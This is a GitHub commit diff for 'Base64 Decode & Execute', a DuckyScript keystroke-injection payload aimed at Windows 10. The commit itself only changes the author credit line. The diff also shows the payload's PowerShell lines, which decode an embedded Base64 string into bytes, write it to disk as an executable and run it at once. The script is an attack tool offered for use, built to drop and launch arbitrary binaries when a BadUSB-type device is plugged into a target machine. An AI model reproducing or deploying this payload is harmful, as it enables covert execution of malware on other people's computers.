Update Base64 Decode & Execute.txt

This commit is contained in:
beigeworm
2023-05-10 12:59:14 +00:00
committed by GitHub
parent 23de20496c
commit 4adb5c92f3

View File

@@ -1,5 +1,5 @@
REM Title: Base64 Decode & Execute
REM Author: @beigeworm
REM Author: @beigeworm | https://github.com/beigeworm
REM Description: Uses Powershell to decode a Base64 string and then execute the file.
REM Target: Windows 10
@@ -27,4 +27,4 @@ STRING $decodedFile = [System.Convert]::FromBase64String($b64);
REM *replace NAME_HERE and desired filetype (example is .exe)*
STRING $File = "NAME_HERE"+".exe";
STRING Set-Content -Path $File -Value $decodedFile -Encoding Byte;& $File
STRING Set-Content -Path $File -Value $decodedFile -Encoding Byte;& $File